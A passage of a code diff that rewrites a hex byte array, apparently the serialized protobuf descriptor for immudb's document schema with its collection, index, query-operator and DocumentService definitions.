0x65, 0x6e, 0x74, + 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, + 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x64, 0x0a, 0x0d, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2d, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, + 0x72, 0x75, 0x63, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, + 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x44, 0x22, 0x43, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, - 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x65, 0x0a, - 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, - 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, - 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, - 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, - 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1b, - 0x0a, 0x05, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x2a, 0x43, 0x0a, 0x0d, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, - 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x01, 0x12, 0x07, 0x0a, 0x03, - 0x47, 0x54, 0x45, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x03, 0x12, 0x07, 0x0a, - 0x03, 0x4c, 0x54, 0x45, 0x10, 0x04, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x05, - 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, - 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, - 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, - 0x10, 0x02, 0x32, 0x85, 0x0a, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, - 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, + 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0xec, 0x01, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, + 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, + 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, + 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, + 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, + 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, + 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, + 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, - 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, - 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9c, - 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, - 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, + 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, + 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, + 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1b, 0x0a, 0x05, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x2a, 0x43, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, + 0x00, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x01, 0x12, 0x07, 0x0a, 0x03, 0x47, 0x54, 0x45, + 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x03, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x54, + 0x45, 0x10, 0x04, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x05, 0x2a, 0x30, 0x0a, + 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, + 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, + 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, + 0x85, 0x0a, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, + 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, + 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, + 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, + 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, - 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, - 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, 0x01, - 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, - 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, + 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, + 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, + 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, + 0x6f, 